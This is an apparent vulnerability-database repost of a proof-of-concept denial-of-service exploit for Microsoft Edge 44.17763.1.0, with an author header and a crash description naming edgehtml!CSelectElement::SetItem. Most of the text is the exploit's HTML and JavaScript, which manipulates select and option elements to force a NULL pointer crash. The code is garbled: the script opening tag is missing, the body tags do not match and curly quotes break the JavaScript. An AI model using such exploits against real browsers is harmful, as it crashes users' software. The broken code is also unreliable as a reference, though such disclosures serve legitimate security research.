发布 2019-01-07 漏洞条目

Microsoft Edge 44.17763.1.0 – NULL Pointer Dereference

Exploit Source

<!--

# Exploit Title: Microsoft Edge 44.17763.1.0 NULL Pointer Dereference. Denial of Service (PoC)

# Google Dork: N/A

# Date: 2018-11-14

# Exploit Author: Bogdan Kurinnoy (b.kurinnoy@gmail.com)

# Vendor Homepage: https://www.microsoft.com/

# Version: Microsoft Edge 44.17763.1.0 (Microsoft EdgeHTML 18.17763)

# Tested on: Windows 10 x64

# CVE : N/A

# Description:

# Access violation while reading memory at 0x2D0 using a NULL ptr edgehtml!CSelectElement::SetItem+0x190

# https://developer.microsoft.com/en-us/microsoft-edge/platform/issues/19625211/

PoC.html

-->

<html>

<head>

function f1() {

try {var v1 = eventhandler1; } catch(e) { }

var v2 = document.createElementNS("http://www.w3.org/2000/svg", “pattern”);

v2.addEventListener("1", v1);

var v3 = document.createElement(“option”);

var v4 = document.createElement(“select”);

v4[4] = v3;

}

</script>

</head>

</body>

</html>

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